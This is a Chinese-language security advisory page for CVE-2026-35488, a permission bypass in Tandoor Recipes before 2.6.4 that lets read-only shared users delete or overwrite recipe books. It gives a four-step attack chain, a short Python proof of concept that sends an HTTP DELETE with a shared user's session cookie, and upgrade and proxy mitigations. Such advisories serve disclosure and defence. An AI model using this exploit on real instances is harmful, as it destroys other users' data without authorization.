IPBUF安全漏洞报告
English
CVE-2026-35488 CVSS 8.1 高危

CVE-2026-35488 Tandoor Recipes权限绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35488
漏洞类型
权限绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tandoor Recipes

相关标签

权限绕过Tandoor RecipesCVE-2026-35488Access ControlWeb安全

漏洞概述

Tandoor Recipes 在 2.6.4 版本前存在严重的权限绕过漏洞。该应用的 RecipeBookViewSet 和 RecipeBookEntryViewSet 使用了 CustomIsShared 权限类,但其 has_object_permission 方法对所有 HTTP 方法均返回 True。这导致仅具有只读共享权限的用户可以发送 DELETE、PUT 或 PATCH 请求,非法删除或覆盖食谱书数据,破坏了系统的完整性和可用性。

技术细节

漏洞核心在于 Tandoor Recipes 后端权限控制逻辑的严重缺陷。在受影响的版本中,RecipeBookViewSet 和 RecipeBookEntryViewSet 使用了 CustomIsShared 作为权限类。该类的 has_object_permission 方法本应区分读取和修改操作,但在实际代码中,它未正确校验 request.method 是否属于 SAFE_METHODS(即 GET、HEAD、OPTIONS)。相反,该方法对所有请求方法直接返回 True,这意味着任何拥有共享链接或被加入共享列表的用户,不仅拥有读取权限,还隐式拥有了写入和删除权限。攻击者无需特殊权限,只需构造针对 API 端点的 HTTP DELETE 或 PUT 请求,即可通过权限验证,进而删除或覆盖食谱书数据,严重破坏了数据的完整性和可用性。

攻击链分析

STEP 1
步骤1:信息收集
攻击者获取一个已被共享给他的 RecipeBook 的 ID 或访问链接。
STEP 2
步骤2:构造恶意请求
攻击者利用该共享身份,向目标 API 端点发送 HTTP DELETE 请求(或 PUT/PATCH 请求)。
STEP 3
步骤3:权限绕过
服务器端的 CustomIsShared.has_object_permission 方法未校验请求方法,直接返回 True,放行了非安全请求。
STEP 4
步骤4:执行攻击
服务器执行删除或修改操作,导致数据被永久删除或篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target API endpoint for a specific RecipeBook target_url = "http://target-domain.com/api/recipe-book/{recipe_book_id}/" # Cookies of a user who has shared access (read-only intended) attacker_cookies = { "sessionid": "valid_shared_user_session_token" } # Attempt to delete the recipe book using HTTP DELETE method # Vulnerability: The server does not check if DELETE is a SAFE_METHOD response = requests.delete(target_url, cookies=attacker_cookies) if response.status_code == 204 or response.status_code == 200: print("[+] Exploit successful: RecipeBook deleted via permission bypass.") else: print(f"[-] Exploit failed: Status code {response.status_code}") print(response.text)

影响范围

Tandoor Recipes < 2.6.4

防御指南

临时缓解措施
建议立即将 Tandoor Recipes 升级至 2.6.4 或更高版本以修复此漏洞。若无法立即升级,应在反向代理层面(如 Nginx)限制对 /api/recipe-book/ 路径的 DELETE、PUT 和 PATCH 请求,或暂时关闭共享功能以防止数据被恶意删除。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表